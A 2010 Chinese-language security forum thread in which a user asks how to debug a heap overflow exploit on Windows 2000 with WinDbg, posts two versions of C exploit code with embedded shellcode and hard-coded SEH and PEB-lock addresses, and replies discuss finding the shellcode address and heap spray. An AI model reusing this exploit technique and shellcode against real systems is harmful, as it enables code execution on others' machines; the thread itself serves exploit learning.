首页
社区
课程
招聘
[求助]HEAP 調試問題?
2010-4-11 18:25 7554

[求助]HEAP 調試問題?

2010-4-11 18:25
7554
http://bbs.syue.com/viewthread.php?tid=11756

如何用windbg 調試

So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:

windbg 如何把ecx 的 address set去EAX??

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-13 23:34
2
0
有沒有稍兄教下我?
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
黑色精灵 2010-4-15 13:35
3
0
兄弟,你说的不是那么太清楚!再好好说清楚点,或者说你要干什么?
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-15 23:11
4
0
THX !
我跟這個教學!
http://hi.baidu.com/lnfeng_sky/blog/item/c2063b9715e87c6b55fb962c.html

以下是我的code:
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
HLOCAL peb_chunk1 = NULL;
HLOCAL peb_chunk2 = NULL;
HANDLE peb_heap = NULL;

char buff[4096]={0};
int i;

char* shellcode=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xC0\xB8\x18\xA5\xE8\x77\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33 ​\xC0\xB8\xBB\xB0\xE7\x77\xFF\xD0"
; //28 bytes

// char* jmp=
// "AAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEF ​FFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGAAAAAABCZZZZZZAZaaaa\x4c\x04\xec\x77";

printf("\nAn example heap overflow bug\n");

peb_heap = HeapCreate(0x00, 0x00, 0x00);

printf("here is heap 1\n");
peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);

// char* JMPSEH="\x4c\x04\xec\x77";
//112 + 5 + 24
for(i=0;i<sizeof(buff);)
{
buff[i++] = 0xeb;
buff[i++] = 0x06;

}

*(unsigned int *)&buff[64+8] = 0x0012f5bf; //shellcode Address , how to find the stack address of buff???
*(unsigned int *)&buff[64+8+4] = 0x77ec044c; //SEH Address

memcpy(&buff[sizeof(buff)-28-16],shellcode,28+16);
memcpy((char *)peb_chunk1, buff , 4096);

printf("here is heap 2\n");
peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
strcpy((char *)peb_chunk1, "TEST");

printf("here is free\n");
HeapFree(peb_heap, 0x00, peb_chunk1);
printf("here is free\n");
HeapFree(peb_heap, 0x00, peb_chunk2);

HeapDestroy(peb_heap);

system("pause");
return 0;
}
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
黑色精灵 2010-4-16 10:37
5
0
兄弟,这个问题有点难度了!  我还没学那么深,我以为是书上堆溢出的问题呢!~~
帮你再顶个贴!~~希望有高手帮你解决!~~~~~
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-16 21:18
6
0
我是用win 2000 server sp0 ,vc6.0
請問這個不是很普通的heap overflow?? 這個攻擊方法也不是很基本嗎??  如果不是用這個方法攻擊, 大大你是用什么方法來攻擊??

How to found the shellcode address ar??
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
漂亮宝贝 2010-4-17 11:37
7
0
代码使用的shellcode地址是作者机器的固定地址,演示用的,你可以本机调试一下,shellcode开头使用了大量的0x90,应该很好辨认的。
岁月BBS文章中使用PEB进行堆溢出利用是一种比较不错的方式,前几年比较流行。
现在系统安全性提高了不少,比较可靠的技术现在heap spray 和jit spray比较热门,可以参考相关文献学习一下。
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-17 23:49
8
0
唉傻了!
printf("%p\n",&uff);

這樣豈不是可以printf buff的Adrress 出來嗎,@@@
突然傻了!!!
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-17 23:51
9
0
謝謝!! 要把HEAP 利用學好呀

但看了一些文章現時的DEP 保護好像很猛, CPU乜可以有保護 , 希望不會把OVEFLOW 堵塞啦, 不然就沒得玩了

ps.
HEAP 真是很難玩呀!! 已經找到BUFF 和 SEH ADDRESS 跟足上邊的教學方法也不能exploit成功, 暈啦!!!

#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
    HLOCAL peb_chunk1 = NULL;
    HLOCAL peb_chunk2 = NULL;
    HANDLE peb_heap = NULL;

        char buff[4096]={0};
        int i;

                char* shellcode=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xC0\xB8\x18\xA5\xE8\x77\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xBB\xB0\xE7\x77\xFF\xD0"
;  //28 bytes

//16A + 8B 4X + 4Y               
//        char* jmp=  
//        "AAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGAAAAAABCZZZZZZAZaaaa\x4c\x04\xec\x77";

    printf("\nAn example heap overflow bug\n");

    peb_heap = HeapCreate(0x00, 0x00, 0x00);

        printf("here is heap 1\n");
    peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);

//        char* JMPSEH="\x4c\x04\xec\x77";
//112 + 5 + 24

printf("%p\n", &buff);
for(i=0;i<sizeof(buff);) //116
   {
         *(unsigned int *)&buff[i++] = 0xeb;
         *(unsigned int *)&buff[i++] = 0x06;
         
   }

  *(unsigned int *)&buff[112] = 0x0012EF84;   //shellcode Address
  *(unsigned int *)&buff[116] = 0x77ec044c; //SEH Address

       
   memcpy(&buff[sizeof(buff)-(28+16)],shellcode,28+16);
   memcpy((char *)peb_chunk1, buff , 4096);

        printf("here is heap 2\n");
        peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
        strcpy((char *)peb_chunk1, "TEST");

        printf("here is free\n");
    HeapFree(peb_heap, 0x00, peb_chunk1);
        printf("here is free\n");
    HeapFree(peb_heap, 0x00, peb_chunk2);

    HeapDestroy(peb_heap);

        system("pause");
    return 0;
}
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-19 00:03
10
0
唉終於成功了!!
請問Release 和 debug 這兩種編釋 有什么分別,,  因為我用VC6.0 debug模形式 是可以成功RUN到shellcode  !但用Release  去 complier 只是結束了個程式不能run shellcode!!
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
walterwong 2010-4-24 22:11
11
0
實在有點不太明白?
究竟 spray/jit spray 填充法是否一定是用在瀏覽器overflow上的???
如果我用上方的heap overflow在win 7 32-bit 下玩, 可以用 spray or jit spray
方法嗎???
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaokuiyk 2010-7-14 13:46
12
0
昏~是C~~~~~~~~~
游客
登录 | 注册 方可回帖
返回